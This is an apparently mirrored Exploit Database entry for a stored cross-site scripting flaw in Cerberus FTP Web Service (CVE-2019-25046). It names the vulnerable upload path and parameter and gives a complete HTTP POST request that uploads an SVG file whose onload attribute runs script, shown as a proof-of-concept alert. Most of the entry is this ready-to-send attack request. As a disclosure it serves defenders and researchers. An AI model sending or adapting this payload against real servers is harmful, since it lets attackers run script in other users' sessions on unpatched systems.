Cerberus FTP Web Service 11 – ‘svg’ Stored Cross-Site Scripting (XSS)

• Exploit Database
• 17 阅读

• 作者： Mohammad Hossein Kaviyany
  日期： 2021-06-11
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49981/

• # Exploit Title: Cerberus FTP web Service 11 - 'svg' Stored Cross-Site Scripting (XSS)
  # Date: 08/06/2021
  # Exploit Author: Mohammad Hossein Kaviyany
  # Vendor Homepage: www.cerberusftp.com
  # Software Link: https://www.cerberusftp.com/download/
  # Version:11.0 releases prior to 11.0.4, 10.0 releases prior to 10.0.19, 9.0 and earlier
  # Tested on: windows server 2016
  # CVE: CVE-2019-25046
  ------------
  About Cerberus FTP Server (From Vendor Site) : 
  
  Cerberus FTP Server is a secure Windows file server with FTP, FTPS, SFTP, HTTPS, 
  FIPS 140-2 validated, and Active Directory and LDAP authentication.
  --------------------------------------------------------
  Exploit Detailes :
  
  This stored XSS bug happens when a user uploads an svg file with the following content :
  <svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>
  
  Exploit POC :
  
  # Vulnerable Path : /file/upload
  # Parameter: files (POST)
  # Vector: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>
  
  #Payload:
  
  POST /file/upload HTTP/1.1
  Host: target.com
  Connection: close
  Content-Length: 484
  sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
  Accept: application/json, text/javascript, */*; q=0.01
  X-Requested-With: XMLHttpRequest
  sec-ch-ua-mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAAM6ZtOAsyklo6JG
  Origin: https://target.com
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: https://target.com/file/d/home/
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: cftpSID=U02_5UCTumW3vFtt5PrlWwoD4k9ccxW0A87oCM8-jsM
  
  ------WebKitFormBoundaryAAM6ZtOAsyklo6JG
  Content-Disposition: form-data; name="cd"
  
  /home
  ------WebKitFormBoundaryAAM6ZtOAsyklo6JG
  Content-Disposition: form-data; name="csrftoken"
  
  z-Zlffq0sPaJErxOsMgL4ITcW1x3AuZo3XlZRP5GcKg
  ------WebKitFormBoundaryAAM6ZtOAsyklo6JG
  Content-Disposition: form-data; name="files[]"; filename="file.svg"
  Content-Type: image/svg+xml
  
  <svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>
  
  ------WebKitFormBoundaryAAM6ZtOAsyklo6JG--
  
  --------------------------